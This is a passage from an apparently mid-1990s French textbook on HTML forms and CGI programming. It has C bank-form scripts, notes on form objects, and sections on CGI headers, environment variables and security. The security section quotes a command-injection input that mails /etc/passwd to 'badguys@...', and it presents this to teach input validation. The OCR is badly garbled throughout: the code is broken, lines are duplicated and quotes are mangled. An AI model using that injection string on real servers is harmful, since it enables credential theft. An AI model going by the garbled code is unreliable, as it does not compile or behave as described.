qu'il va passer au script 2 en y joignant le numéro de compte et l'identification du client
(son nom).

/* SCRIPTl 141095 */

#include <stdio.h>
#include <stdlib.h>
#define MAX_ENTRIES 10000

typedef struct

char *name;
char *val;
} entry;

char *makeword(char *1ine, char stop);

char *fmakeword(FILE *f, char stop, int *len);
char x2c(char *what);
void unescape_url(char *url);
void plustospace(char *str);

maintint argc, char *argv[]) {

entry entries[MAX_ENTRIES];
register int x,m=0;
int cl;
char client[80];

strcpy (client, "[Link]" ) ; /* simulation */

printf("Content-type : text/html%c%c",10,10);

229
 Programmation HTML et JavaScript

if(strcmp(getenv("REQUEST_METHOD"),"POST"))
{
printf ("Erreur méthode \n");
exit(1);
}
if (strcmp (getenv( "CONTENT_TYPE") , "application/x-www-form-urlencoded" ))
{
printf("Erreur content_type \n");
exit(1) ;
}
cl = atoi(getenv("CONTENT_LENGTH"));

/* on utilise la librairie util.c (fournie avec le serveur de NCSA)

pour "analyser" les paramétrés reçus */

for(x=0,-cl && ( ! feof (stdin) ) ;x++)

{
m=x;
entries[x].val = fmakeword(stdin, &cl) ;
plustospace(entriestx].val);
unescape_url(entries[x].val);
entries[x].name = makeword(entries[x].val,' = ') ;
}
/* ici on trouvera normalement le code recherchant dans une base de donnees
si le numéro de compte contenu dans entries[0].val a bien pour mot de
passe la valeur contenue dans entries[1].val et quel est le nom du client
si OUI on declenchera la sequence suivante générant le formulaire :
*/
printf("<b>%c",10) ;
printf("<form method=\"post\" action=\"[Link]
script2\">%c",10);
printf("<h2>Banque de l'IN3P4</h2>%c", 10) ;
printf("<h3>Compte %s - %s</h3>%c",entries[0].val,client,10);
printf("<i>Quel type d'op&eacute;ration voulez-vous effectuer ? </i>%c",10);
printf("<ol>%c" ,10) ;
printf("<li><input type=\"radio\" name=\"op\" value=\"rele\">
Relev&eacute;%c",10);
printf("<li><input type=\"radio\" name=\"op\” value=\"vir\"> Virement%c",10);
printf ( "<li><input type=\"radio\ " name=\"op\" value=\"chq\ “> Commande de
ch&eacute;quier%c“,10) ;
printf("</ol>%c",10);

/* on passe en champ cache le numéro du compte et le nom du client au script

suivant

printf("<input type=\"hidden\" name=\”cpte\" value=%s>%c”,entries[0].val,10);

printf("<input type=\"hidden\” name=\”client\” value=%s>%c", client,10);
printf("<input type=\"submit\" value=\"ValidezX">%c", 10) ;
printf("</form>%c",10) ;
printf("</b>%c”,10) ;

Enfin, le script 2 reçoit l'ensemble des données acquises dans les deux formulaires et
traite ainsi la requête du client.

/* SCRIPT2 */
#include <stdio.h>

230
Les formulaires

#include <stdlib.h>
#define MAX_ENTRIES 10000

typedef struct
{
char *name;
char *val;
} entry;

char *makeword(char *line, char stop);

char *fmakeword(FILE *f, char stop, int *len);
char x2c(char *what);
void unescape_url(char *url);
void plustospace(char *str);

maintint argc, char *argv[]) {

entry entries[MAX_ENTRIES];
register int x,m=0;
int cl;

printf("Content-type: text/html%c%c",10,10) ;
if(strcmp(getenv("REQUEST_METHOD"),"POST"))
{
printf ("Erreur methode \n");
exit(1);
}
if ( strcmp(getenv(“CONTENT_TYPE") , "application/x-www-form-urlencoded"))
{
printf("Erreur content-type \n");
exit( 1 ) ;
}
cl = atoi(getenv("CONTENT_LENGTH"));
for(x=0;cl && (!feof(stdin));x++)
{
m=x;
entries[x].val = fmakeword(stdin,&cl);
plustospace(entries[x].val);
unescape_url(entries[x].val);
entries[x].name = makeword(entries[x].val,' = ') ;
)
printf("<b>%c",10);
printf("<h2>Banque de 1'1N3P4</h2>%c”,10);
printf("<h3>Compte %s - %s </h3>%c",entries[1].val,entries[2].val,10);
if (strcmp (entries[0].val,"chq")==NULL)
{
printf("<i>Votre comande de ch&eacute;quier est enregistr&eacute;e.</
i>%c",10);
}
/* else if (strcmp (entries[0].val,"rele" ....

printf("</b>%c",10);
}

Les propriétés de l'objet HIDDEN

Cet objet n'a ni événement ni méthode puisqu'il n'est pas affiché dans le document. Il
possède trois propriétés :

231
 Programmation HTML et JavaScript

• name donne le nom qui a été choisi pour cette balise.

• value retourne la valeur (attribut value) contenue dans la balise.
• type retourne hidden.
Ce objet servant essentiellement à conserver des valeurs sans les afficher dans des pages
HTML, les scripts peuvent lire et modifier la propriété value selon les nécessités de
l'application.

Exemple d'utilisation
Dans un
un formulaire
formulairededesaisie
saisie
proposant
proposant
uneune
aideaide
en ligne,
en ligne,
on veut
on comptabiliser
veut comptabiliser
le nom­le nom­
bre de fois où l'utilisateur va utiliser le bouton "Aide" :

<script>

function appelAide () {
//aa chaque
// chaque appel
appel a l'aide
l'aide on
on incremente
incremente de
de1 1
// le
le champ
champ hidden
hidden NombreAppelAide
NombreAppelAide
document. Formulaire. NombreAppelAide. value++
[Link]++ ; ;
}
</script>

<form name="Formulaire">

<input type=button value=Aide onClick=aideEnLigne()>

<!— au
<!-- au chargement
chargement de la la page
page le
lecompteur
compteurest
estinitialise
initialise
a 00 aa l'aide
l'aide de
de l'attribut
l'attributvalue=0
value=0-->
-->
<input type=hidden name=NombreAppelAide value=0>

232
Les formulaires

RÉSUMÉ

Le formulaire se décrit entre les balises <FORM> et </FORM>.

La balise <FORM> sera complétée au minimum par les deux attributs
suivants :
• METHOD, prenant la valeur POST ou la valeur GET, définit le mode
de transfert des données vers le script CGI,
• ACTION qui définit l'URL d'un programme (script) chargé de traiter
les données acquises depuis le formulaire.
Les propriétés de l'objet FORM sont :
• action - URL CGI ou pseudo-protocole associé au formulaire
• method - GET ou POST (transfert des données au CGI)
• target - fenêtre de destination
• enctype - encodage Mime des données
• elements - accès aux composants du formulaire.
La méthode de l'objet FORM est submit() qui déclenche la soumission
(appelle le CGI avec les données collectées).
L'événement de l'objet FORM est onSubmit qui apparaît au moment
de la soumission du formulaire.

La balise <INPUT> sert à définir des champs pour entrer un texte et

des boutons permettant de choisir des options.
L'attribut TYPE, associé à la balise INPUT permet le choix de l'élément
d'entrée.

Le type TEXT permet de collecter du texte alpha-numérique.

Propriétés de l'objet TEXT :
• name - nom attribué à la balise.
• type - égal au type de la balise (text dans ce cas).
• value - valeur saisie ou codée dans le HTML.
• defaultValue - valeur attribuée par défaut dans le code HTML.
Méthodes de l'objet TEXT :
• focus() - amène le curseur dans le champ.
• blur() - force le curseur hors du champ.
• select() - sélectionne le contenu du champ.

233
 Programmation HTML et JavaScript

Les événements de l'objet TEXT sont :

• onChange - apparaît à la modification du champ de saisie.
• onFocus - apparaît à la prise du focus.
• onBlur - apparaît à la perte du focus.
• onSelect -apparaît lorsqu'on sélectionne tout ou partie du champ.

Le type SUBMIT déclenche l'envoi du formulaire vers le script.

Propriétés de l'objet SUBMIT :
•name, type, value - identiques à l'objet TEXT
La méthode de l'objet SUBMIT est submit() qui déclenche la soumis­
sion.
L'événement de l'objet SUBMIT est onClick qui apparaît lors du clic
sur le bouton.

Le type RESET permet d'effacer les données déjà entrées.

Propriétés de l'objet RESET :
• name, type, value identiques à l'objet TEXT.
La méthode de l'objet RESET est click(), identique au clic que ferait
l'utilisateur (clic programme).
L'événement de l'objet RESET est onClick qui apparaît lors du clic sur
le bouton.

Le type PASSWORD permet de saisir un mot de passe de façon confi­

dentielle.
Ses propriétés, méthodes et événement sont identiques à l'objet
TEXT.

Le type CHECKBOX permet de faire un bloc de boutons permettant un

choix multiple d'options (fonction logique et).

Le type RADIO permet de faire un bloc de bouton permettant un choix

exclusif parmi plusieurs options (fonction logique ou exclusif).
Propriétés des objets CHECKBOX et RADIO :
• name, type,value identiques à l'objet TEXT.
• cheked - retourne true si la case est cochée.

234
Les formulaires

• defaultChecked - retourne true si c'est la case cochée par défaut

• index (radio seulement) - indice du bouton coché
• length (radio seulement) - nombre de boutons radio associés.
La méthode des objets CHECKBOX et RADIO est click(), identique au
clic que ferait l'utilisateur (clic programme).
L'événement des objets CHECKBOX et RADIO est onClick qui appa­
raît lors du clic sur le bouton.

Le type HIDDEN sert à passer des données acquises dans un formu­

laire à un autre formulaire sans que rien n'apparaisse à l'écran.
Propriétés de l'objet HIDDEN :
• name, type, value - identiques à l'objet TEXT.

La balise <SELECT> permet de générer des listes à choix simple ( ou

exclusif) ou à choix multiple (et).
Elle se programme comme une liste
où chacun des items est spécifié par la balise <OPTION>. De la pré­
sence de l'attribut SIZE dépend la présentation de la liste. Si la valeur
donnée à l'attribut size
est inférieure à 2 ou si l'attributsize
est omis, la
liste est interprétée comme un menu déroulant (pop-list).
Dans le cas
contraire, elle s'affiche dans une fenêtre à ascenseur. La valeur don­
née à l'attribut size
donne alors le nombre de lignes visibles dans la
fenêtre. L'option choix multiple résulte de la présence de l'attribut
MULTIPLE.
Propriétés de l'objet SELECT :
• name, type - identiques à l'objet TEXT;
• selectedlndex - index de la première ou de la seule option sélec­
tionnée.
Méthode de l'objet SELECT :
• blur, focus - identiques à l'objet TEXT.
Evénements de l'objet SELECT :
• onChange, onFocus, onBlur - identiques à l'objet TEXT.

235
 Programmation HTML et JavaScript

Propriétés de l'objet OPTION :

• defaultSelected - a la valeur true si c'est l'option par défaut
• selected - a la valeur true si l'option est sélectionnée
• text - texte associé à l'option
• value - valeur associée à l'option.

La balise <TEXTAREA> permet de créer une fenêtre avec ascenseurs

horizontaux et verticaux dans laquelle on pourra saisir du texte. La
valeur donnée aux attributs ROWS (lignes) et COLS (colonnes) déli­
mite la taille de cette fenêtre.

Les proprités, méthodes et options de l'objet TEXTAREA sont celles

de l'objet TEXT.

RAPPELS :
Le script doit connaître l'élément du formulaire duquel provient une
donnée. L'attribut NAME permet d'affecter un identificateur à chacun
des éléments du formulaire.

L'attribut VALUE permet :

• de spécifier un texte à écrire sur les boutons reset et submit (informa­
tion visuelle)
• de préremplir un champ textarea (information visuelle)
• d'attribuer une valeur à l'option pour les boutons radio et checkbox
(information pour le script).

236
 Chapitre 19

La programmation CGI

Comme on l'a vu jusqu'à présent, le code HTML est en général inséré dans des fichiers.
Le dialogue entre le client (Mosaic, Netscape...) et le serveur (NCSA, Cern, Netsite...) se
déroule alors de la façon suivante :
• Le client demande un fichier au serveur (par exemple [Link] ;
• Le serveur envoie l'information contenue dans ce fichier (du code HTML) au client ;
• Ce dernier se charge de la mise en page.

Un client pouvant à tout moment accéder aux fichiers contenant le code HTML, il ne
faut, en toute logique, jamais les modifier. En effet, un client qui fait une requête sur un
fichier en cours de modification risquerait d'obtenir une version non cohérente de ce
fichier. Il est clair que ce type de fonctionnement ne permet pas de créer des documents
dynamiques. Comment, par exemple, créer un document qui contienne la date, ou qui
soit le résultat d'une requête sur une base de données ?
L'idée de la programmation CGI (Common Gateway Interface) est de construire le docu­
ment HTML correspondant à un lien hypertexte au moment même où l'on clique sur ce
lien. Le document est envoyé au client au fur et à mesure de sa construction sans jamais
être stocké dans un fichier.
Ceci est réalisé à l'aide de liens exécutables. Le client indique le nom d'un fichier, tou­
jours à l'aide d'une URL, non pour en recevoir le contenu, mais pour demander son exé­
cution sur le serveur. Ce dernier exécute le programme indiqué et renvoie au client la
sortie standard de ce programme (c'est-à-dire ce qu'on aurait obtenu à l'écran en lançant
le programme à la main sur une ligne de commande). C'est cette sortie standard qui cons­
titue le document HTML. Les programmes lancés à partir de liens exécutables sont appe­
lés des scripts CGI.

237
 Programmation HTML et JavaScript

Considérons l'exemple suivant, qui permet d'obtenir un document qui contient la date.

Le script CGI à installer sur le serveur est le suivant :

#!/bin/ksh
# Création de l'entete
echo 'Content-type: text/html'
echo ''
# Création du corps du document
echo '<HTML>'
echo '<HEADER>'
echo '<TITLE> Voici la date du jour </TITLE>'
echo '</HEADER>'
echo '<BODY>'
echo '<H1>\nComme le temps passe.\n</H1>\n<BR>'
# Affichage de la date (commande date)
echo '<B>' 'date +"Nous voil&agrave; le %m-%y, et il est
d&eacute;j&agrave; %Hh %Mmin..."''</B>'
echo '</BODY>'
echo '</HTML>'

Ce programme affiche tout simplement des commandes HTML sur sa sortie standard, et
insère la date dans une de ces commandes. Exécuté sur une ligne de commande, il donne
la sortie suivante :

Content-type: text/html

<HEADER>
<TITLE> Voici la date du jour </TITLE>
</HEADER>
<HTML>
<BODY>
<H1>
Comme le temps passe.
</H1>
<BR>
<B> Nous voil&agrave; le 12-95, et il est d&eacute;j&agrave; 09h
10min...</B>
</BODY>
</HTML>

Hormis la première ligne, dont on précisera le rôle par la suite, on reconnaît la syntaxe
d'un document HTML.
Si l'on appelle ce programme the_date, et qu'on le place dans le répertoire /cgi-bin du
serveur Web [Link], on pourra, à partir d'un client, appeler le lien (exécutable)
[Link] Le serveur sait, par configuration, que les fichiers

238
La programmation CGI

du répertoire /cgi-bin sont des programmes à exécuter. Il va donc exécuter le programme

the_date, et l'on obtiendra ainsi une page WWW avec l'heure et la date correspondant au
moment où l'on a cliqué sur le lien exécutable.

Emplacement des scripts CGI

Lors de la configuration d'un serveur Web (voir Le fichier [Link], page 431), il est
possible d'indiquer quels sont les répertoires susceptibles d'accueillir des scripts CGI.
Lorsque le serveur reçoit une requête pour une URL référençant un fichier dans un tel
répertoire, il considère que ce fichier est un script ; il tente donc de l'exécuter et de ren­
voyer sa sortie standard vers le client.
Sur un serveur NCSA par exemple, la configuration se fait dans le fichier [Link]. Les
répertoires ne contenant que des scripts ont la propriété ScriptAliasied. La ligne
suivante :

ScriptAlias /cgi-bin/ /dsk4/apps/www/httpd_l.3/cgi-bin/

indique par exemple que le répertoire /cgi-bin (au sens du serveur Web) est autorisé à
recevoir des scripts et qu'il correspond au répertoire /dsk4/apps/www/httpd_l.3/cgi-bin/
de la machine (au sens du système d'exploitation).
Pour des raisons de sécurité, l'administrateur d'un serveur Web doit cependant limiter le
nombre de répertoires pouvant accueillir des scripts CGI, ainsi que le nombre des per­
sonnes habilitées à écrire dans ces répertoires.
Dans les faits, on utilise très souvent le répertoire par défaut créé lors de l'installation du
serveur. Le nom et l'emplacement de ce répertoire peuvent varier d'un serveur à l'autre.
Dans le cas du serveur NCSA, il s'agit du répertoire /cgi-bin.

239
 Programmation HTML et JavaScript

Le langage de programmation
Tout langage capable d'avoir une sortie standard peut être utilisé pour écrire des scripts
CGI. Dans un environnement Unix, on pourra donc utiliser :
• C
• Fortran
• Perl
• Tcl
• ou encore tous les shells Unix.

Sur un PC-Windows, on pourra utiliser Visual C++, Visual Basic et sur un Macintosh
Apple Script. Dans les exemples qui suivent, nous nous intéresserons plus particulière­
ment au cas d'un environnement Unix.

Une partie importante de la programmation CGI consiste à traiter les chaînes de caractè­
res. L'utilisation des shells Unix est donc assez rare. On leur préfère des langages plus
évolués pour le traitement des chaînes.
Le langage le plus utilisé dans le monde Unix est sans doute Perl1. C'est un langage inter­
prété qui est un mélange de C, sed, awk, et sh, et qui se prête très bien au développement
de scripts GCI. Le C est également très répandu dans le domaine de la programmation
CGI. La compilation offre un plus au niveau de la sécurité. Elle permet de s'assurer que
les sources d'un script CGI ne seront jamais accessibles par le réseau, même par
mégarde, ce qui n'est jamais le cas avec un langage interprété.

Pour la plupart des langages, des bibliothèques ont été développées afin de faciliter le
traitement des données fournies par le serveur Web au script CGI. Elles sont essentielle­
ment utilisées pour la gestion des formulaires dans la mesure où elles permettent d'obte­
nir simplement la valeur de chacun des champs de saisie. Voici une liste de quelques
librairies du domaine publique :
• Pour Perl, la librairie [Link] est disponible à l'adresse [Link]
web/[Link].
• Pour C, des modules élémentaires sont en général livrés avec le serveur. Pour le ser­
veur NCSA, par exemple, il s'agit du module utils.c du répertoire /cgi-src. Ce module
est présenté en annexe.
• Pour C encore, la librairie libcgi est disponible à l'adresse [Link]
doc/libcgi/[Link].
• Pour tel, la librairie tcl-cgi est disponible à l'adresse [Link]
[Link].

1. On trouvera un tutorial de Perl à l'adresse [Link]

240
La programmation CGI

La sécurité
Lorsque vous créez un script CGI, sachez bien qu'il s'agit d'un programme qui sera exé­
cuté sur votre serveur à la demande de n'importe quelle machine de l'Internet. Une pro­
grammation un peu hâtive peut conduire à d'énormes trous de sécurité. Pour se prémunir
contre de tels risques, certaines règles seront à suivre avec une grande rigueur. En parti­
culier, on prendra garde à :
• limiter le nombre de personnes autorisées à créer des scripts (c'est-à-dire ayant des
droits d'écriture sur les répertoires contenant les scripts CGI) ;
• limiter le nombre des répertoires pouvant accueillir des scripts. Ces deux premiers
points permettent d'empêcher une prolifération non contrôlée de scripts ;
• éviter autant que faire se peut la création de scripts avec un setuid bit ;
• éviter que le code source d'un script soit accessible sur le réseau et puisse ainsi être
analysé pour y trouver d'éventuelles failles ;
• employer avec beaucoup de prudence les commandes permettant de lancer des sous-
processus (les commandes de type exec(), system(), eval(), popen()...). Sous certaines
conditions, ces commandes peuvent être détournées par des personnes mal intention­
nées.

Ce dernier point est capital. L'exemple ci-dessous, extrait du document The World Wide
Web Security FAQ1, illustre parfaitement le danger encouru. Il s'agit d'un script CGI très
simple qui récupère une adresse électronique (à l'aide d'un formulaire par exemple), puis
envoie un mail à cette adresse.
# On recupere l'adresse
$mail_to = &get_name_from_input;
# On ouvre un pipe vers la commande sendmail
open (MAIL, "| /usr/lib/sendmail $mail_to");
# On écrit sur le pipe
print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
# On ferme le pipe
close MAIL;

Imaginez maintenant qu'un esprit mal intentionné saisisse l'adresse suivante.

nobody@[Link];mail badguys@[Link]</etc/passwd;

Le tour est joué. Le script va envoyer un mail à l'adresse nobody@[Link]. Le

point virgule est interprété comme un séparateur de commandes. La seconde partie de
l'adresse, mail badguys@[Link]</etc/passwd, est donc considérée comme une nouvelle
commande. Elle envoie votre fichier de password à l'adresse badguys@[Link]. Le hac­
ker a une copie de votre fichier de password. Il y a de grandes chances qu'il réussisse à en
extraire quelques mots de passe !

1. Ce document est disponible à l'adresse [Link]

www-security-faq.

241
 Programmation HTML et JavaScript

Une façon simple d'éviter ce genre de problèmes est de vérifier le format des données
entrées par l'utilisateur. Dans le cas du script précédent, on ajoutera le code suivant :
# Recupere 1'adresse
$mail_to = &get_name_f rom_input ;
# Teste si le format de l'adresse est valide
unless ($mail_to =~ /[\w-.]+\@[\w-.]/) {
die "Format d'adresse invalide.";}

Les règles énoncées ci-dessus ont pour but de vous sensibiliser aux problèmes de sécurité
liés à la programmation CGI. Elles ne sont pas exhaustives. Un document comme The
World Wide Web Security FAQ , qui est mis à jour périodiquement permet de connaître
les dernières méthodes utilisées par les hackers ainsi que les scripts CGI du domaine
public qui possèdent des failles dans la sécurité. Sa lecture est donc vivement conseillée !

La sortie standard
Le format
Un script CGI est tout simplement un programme qui écrit sur sa sortie standard. Pour
que cette sortie puisse être interprétée par le serveur et le client, elle doit cependant avoir
un format spécial. Elle se compose de deux parties séparées par une ligne vide (un Car-
riage Return/Line Feed).
La première partie, l'en-tête, comporte des informations qui seront utilisées par le serveur
pour construire l'en-tête HTTP de sa réponse au client. La seconde, le corps, est compo­
sée des données constituant le document à envoyer au client.

Figure 42 - Les liens exécutables

242
La programmation CGI

Dans le cas de la figure 43, la sortie standard peut être décomposée de la façon suivante :

L'en-tête
Qautre lignes peuvent apparaître dans l'en-tête : la ligne Content-type, la ligne Window-
Target, la ligne Location, et la ligne Status.

Content-type
Un des principaux rôles de l'en-tête est d'indiquer le type des données que le script va
générer. On a insisté en introduction sur la création de documents HTML dynamiques.
Mais un script CGI peut en fait générer tout type de documents reconnus par le client,
comme une image ou un son. On peut en effet très bien envisager le code HTML
suivant :

<HTML>
<HEAD>
<TITLE>Quelle heure est-il ?</TITLE>
</HEAD>
<BODY>
<H1>Voici l'heure: <IMG SRC="[Link]
the_clock">
<HR>
<H1>
</BODY>
</HTML>

the_clock est un script qui génère l'image bitmap d'une montre avec l'heure exacte.
Lorsqu'il lit cette commande HTML, le client demande l'exécution sur le serveur du pro­
gramme the_clock. Ce programme génère une image bitmap (et non un document
HTML). Au lieu d'une image bitmap extraite d'un fichier, on aura donc une image créée
dynamiquement au moment où le client lit le code HTML <img src="http://
[Link]/cgi-bin/the_clock">. Une version du programme the_clock est proposée
au chapitre Une image dynamique, page 255.

243
 Programmation HTML et JavaScript

Il est donc indispensable que le script CGI commence par indiquer le type des données
qu'il va générer, de façon que le client puisse savoir comment les gérer. C'est le rôle de la
ligne Content-type.

La syntaxe utilisée pour indiquer le type des données est la syntaxe MIME :
Content-type: type/subtype

Le format MIME est présenté en annexe, page 417. Les types les plus courants dans la
programmation CGI sont résumés dans le tableau suivant :

type/subtype Description

text/html De loin le plus utilisé, il indique au client que

les données doivent être interprétées
comme des commandes HTML.

text/plain Il indique au client que les données sont du

texte plat, qui ne doit aucunement être inter­
prété.

image/gif Ce sont les trois types d'images supportées

image/jpeg en général par les clients WWW sans appel
image/x-xbitmap à un viewer externe.

audio/basic C'est un type englobant tous les formats

son .au et .snd. En général, le client fait
appel à un programme externe pour jouer
ces sons.

244
La programmation CGI

type/subtype Description

application/postscript Il indique au client que les données sont au

format PostScript. En général, le client fait
appel à un interpréteur externe pour afficher
le document PostScript.

Dans l'exemple précédent, où le script renvoie une image bitmap, la ligne Content-type
sera :
Content-type: image/x-xbitmap

Window-target
La ligne Window-target indique dans quelle frame le résultat du script CGI doit être
affiché. Cette ligne s'utilise en complément de la ligne Content-type. La syntaxe est la
suivante :
Window-target: Nom_ de_Frame

Location
La ligne Location permet à un script CGI de rediriger un client vers une URL donnée.
Lorsqu'on l'utilise, la sortie standard ne possède ni ligne Content-type ni corps, puisque
l'on référence un document qui existe déjà. La syntaxe est la suivante :
Location: URL

Examinons un exemple. Le shell suivant crée un en-tête, avec une ligne Location :

#!/bin/ksh
echo 'Location: [Link]
echo ''

Appelons ce shell test_location et plaçons-le dans le répertoire /cgi-bin du serveur

[Link]. Les deux URL suivantes sont alors équivalentes :
[Link]
[Link]

La ligne Location sera particulèrement utile par exemple, lorsqu'à l'issue d'un script CGI,
on désire se placer sur une URL existante (qui peut être le résultat d'une recherche...) et
non générer un nouveau document.

245
 Programmation HTML et JavaScript

Status
Cette ligne est très rarement utilisée. Elle permet d'indiquer le code de retour que le ser­
veur doit envoyer au client lors du dialogue HTTP. Comme c'est souvent le cas avec les
surcouches de tcp-ip, le code est sur trois chiffres et est accompagné d'une chaîne de
caractères explicative. La syntaxe en est :
Status: code message
Lorsque cette ligne n'est pas précisée, le code retour est '200 OK' ce qui se traduit, dans
le dialogue HTTP du serveur vers le client, par la ligne 'HTTP 200 OK' Notez cepen­
dant que les clients ne tiennent pas systématiquement compte de la valeur de ce code.
Le script suivant permet par exemple de savoir si le client que vous utilisez reconnaît le
code HTTP '204 No Response'. Appelez ce script noresponse, et placez-le dans le réper­
toire /cgi-bin. Ouvrez l'URL/cgi-bin/noresponse. Si votre client reconnaît le code 204, il
ne se passe absolument rien lorsque vous ouvrez cette URL. S'il ne le reconnaît pas, il
affiche la phrase "Votre client ne reconnaît pas le code 204."

#/bin/csh

echo "Status: 204 No Response"

echo "Content-type : text/plain"
echo ""
echo "Votre client ne reconna&icirc;t pas le code 204."

Le corps
La seconde partie de la sortie standard d'un script CGI, le corps, contient les données du
document. Elles doivent bien sûr correspondre au type MIME annoncé dans la ligne
Content-type de l'en-tête. Dans le cas contraire, le client sera incapable d'afficher le
document.

Pour aller plus loin

Dans l'immense majorité des cas, l'en-tête de la sortie standard des scripts CGI est com­
posée à partir des trois lignes décrites ci-dessus, et les différentes étapes correspondent à
celles de la Figure 42. Lorsque le script est exécuté, la sortie standard est redirigée vers le
serveur Web. A partir de l'en-tête qu'il reçoit, ce dernier crée l'en-tête HTTP qui va être
envoyé au client. Par exemple, si l'en-tête reçu par le serveur est :
Content-type: text/html

l'en-tête HTTP envoyé au client ressemblera à :

HTTP 200 OK
Server: NCSA/1.3
Content- type : text/html

Il est cependant possible de générer directement l'en-tête HTTP complet à partir du script
CGI. Le serveur n'a alors plus besoin d'analyser la sortie standard du script, ce qui évite
un surplus de travail. Par convention, pour indiquer au serveur que le script se charge de

246
La programmation CGI

la génération l'en-tête HTTP, le nom du script devra être préfixé par nph- (pour Non
Parsed Header). Par exemple :
/cgi-bin/nph-anim

Un exemple complet de script utilisant la technique des Non Parsed Header est présenté
dans le chapitre Une séquence animée, page 256.

Les variables d'environnement

Lorsqu'il lance le script CGI, le démon httpd positionne toute une série de variables
d'environnement. Ces variables jouent un rôle capital dans la programmation CGI. Elles
vont permettre au développeur d'accéder à de nombreuses informations concernant le
serveur, le client, la machine qui exécute le client, etc. Il s'agit d'un des moyens de com­
munication entre le serveur et le script CGI. On verra que l'entrée standard est également
utilisée à cette fin dans certaines conditions (voir La méthode POST, page 262).

Voici la liste des variables d'environnement1 créées par le démon avant d'exécuter un
script CGI. Les trois premières ne dépendent pas de la requête effectuée par le client :

SERVER_SOFTWARE : Nom et version du démon httpd qui tourne le script CGI.

Format : nom/version

SERVER_NAME : Nom de la machine qui tourne le démon httpd ou adresse IP si cette

machine n'a pas de nom IP

GATEWAY_INTERFACE : Niveau de version de la passerelle CGI du serveur Web.

Format : CGI/version

Les variables suivantes sont spéficiques à une requête donnée :

SERVER_PROTOCOL : Nom et version du protocole utilisé par la requête en cours de

traitement.
Format : protocole/version

SERVER_PORT : Numéro du port (au sens IP) vers lequel la requête a été envoyée.

REQUEST_METHOD : Méthode selon laquelle la requête a été effectuée. Cette varia­

ble est en particulier utile lors du traitement des formulaires (voir Formulaires et CGI,
page 261). Elle permet de savoir si un formulaire est géré avec la méthode GET ou la
méthode POST.

1. D'après le document The Common Gateway Interface, [Link]

cgi/

247
 Programmation HTML et JavaScript

SCRIPT_NAME : Nom du script à partir de la racine du serveur Web. Par exemple :

SCRIPT_NAME=/cgi-bin/test_script

REMOTE_HOST : Nom de la machine à l'origine de la requête. Si cette machine n'a

pas de nom, le serveur renseigne uniquement la variable REMOTE_ADDR.

REMOTE_ADDR : Adresse IP de la machine à l'origine de la requête.

AUTH_TYPE : Si le serveur permet l'authentification d'utilisateur et que le script appelé

par la requête est protégé, cette variable indique la méthode utilisée pour valider l'utilisa­
teur.

REMOTE_USER : Si le serveur permet l'authentification d'utilisateur et que le script

appelé par la requête est protégé, cette variable indique le nom de l'utilisateur à l'origine
de la requête.

REMOTE_IDENT : Cette variable n'est pas supportée par tous les serveurs. Lorsqu'elle
est positionnée, elle indique le nom de l'utilisateur connecté (au sens Operating System)
sur la machine à l'origine de la requête.

CONTENT_TYPE : Pour les requêtes qui véhiculent des données, cette variable indi­
que le type des données envoyées par le client. Le format utilisé est le format MIME.
Dans le cas du traitement d'un formulaire avec la méthode POST par exemple, le type
sera :
application/x-www-form-urlencoded

CONTENT_LENGTH : Longueur des données envoyées par le client. Cette variable

permet en particulier de connaître le nombre de caractères à lire sur l'entrée standard lors
du traitement d'un formulaire avec la méthode POST (voir La méthode POST,
page 262).

248
La programmation CGI

Les deux variables qui suivent sont de loin les plus utilisées, pour la simple raison
qu'elles permettent de passer des paramètres au script. On voit en effet sur la Figure 43,
que la syntaxe d'une URL ne permet pas de passer de paramètres au script comme on le
ferait sur une ligne de commande. En revanche, cette syntaxe permet d'indiquer plus
d'informations que le simple nom du script à exécuter. Il s'agit de la partie de l'URL notée
PATH_INFO et de la partie notée QUERY_STRING. Ces deux chaînes de caractères
vont être stockées par le serveur dans deux variables d'environnement du même nom.
Elles pourront donc être utilisées pour le passage de paramètres au script ; on dit que
l'URL est encodée.

Figure 43 - URL référençant un script CGI

PATH_INFO
C'est la chaîne de caractères qui commence après le nom du script et se termine avant
le caractère '?' ou à la fin de l'URL s'il n'y a pas de '?'. Dans le cas de la Figure 43, on
a PATH_INFO=/ceci/est/la/suite. Contrairement à la chaîne QUERY_STRING, cette
chaîne est toujours écrite en dur dans les URL, et n'est jamais générée par le client.

QUERY_STRING,
C'est la chaîne de caractères qui suit le premier '?' après le nom du script et se ter­
mine à la fin de l'URL. Dans le cas de la Figure 43, on a
QUERY_STRING=ceci+est+la+fin.

Elle a deux origines possibles :

• Soit elle est ajoutée manuellement dans un lien hypertexte, comme dans l'exemple
suivant où l'on fait référence au script /cgi-bin/annuaire en lui passant la valeur
'nom=Durand'. C'est au script /cgi-bin/annuaire de traiter la chaîne
QUERY_STRING et d'utiliser l'information qu'elle contient :

<HTML>
<HEAD>
<TITLE>Annuaire</TITLE>
</HEAD>
<BODY>
<A HREF="[Link]
le t&eacute;l&eacute;phone de monsieur Durand</A>
</BODY>

249
 Programmation HTML et JavaScript

</HTML>

• Soit elle est ajoutée par le client au moment où il envoie sa requête vers le serveur
Web. Lorsqu'une page HTML est un formulaire utilisant la méthode GET ou un
document ISINDEX et qu'elle possède donc des champs de saisie, le client utilise la
chaîne QUERY_STRING pour envoyer au serveur la liste de ces champs avec leur
valeur (voir La méthode GET, page 262).

La chaîne de caractères QUERYJSTRING possède la particularité d'être URL-enco-

dée (voir L'encodage des données, page 261). Les espaces sont remplacés par des +
et les caractères spéciaux par leur valeur héxadécimale sous le format %xx (par
exemple %26 correspond à &). Cet encodage est fait automatiquement lorsque la
chaîne est générée par le client. Par contre, si elle est ajoutée à la main, elle devra être
auparavant encodée pour éviter toute mauvaise surprise !

PATH_TRANSLATED
Il s'agit de la variable PATH_INFO préfixée par la racine du serveur Web. Ainsi, dans
l'exemple précédent, si la racine du serveur est /usr/local/etc/httpd/htdocs, on aura
PATH_TRANSLATED=/usr/local/etc/httpd/htdocs/ceci/est/la/suite.
La construction de cette variable peut être différente d'un système à un autre. Il est
donc peu conseillé de l'utiliser.

En plus des variables citées ci-dessus, le serveur crée certaines variables à partir de l'en­
tête HTTP de la requête envoyée par le client. Le nombre de ces variables dépendra donc
du client qui a envoyé la requête. Ces variables sont préfixées par HTTP_. Voici deux
variables qui sont presque systématiquement créées :

HTTP_ACCEPT
Liste des types MIME acceptés par le client qui a fait la requête.
Format : type/subtype, type/subtype...

HTTP_USER_AGENT
Information concernant le client qui a fait la requête.
Format : logiciel/version librairie/version.

Voici un exemple très simple qui permet de voir les variables d'environnement initiali-
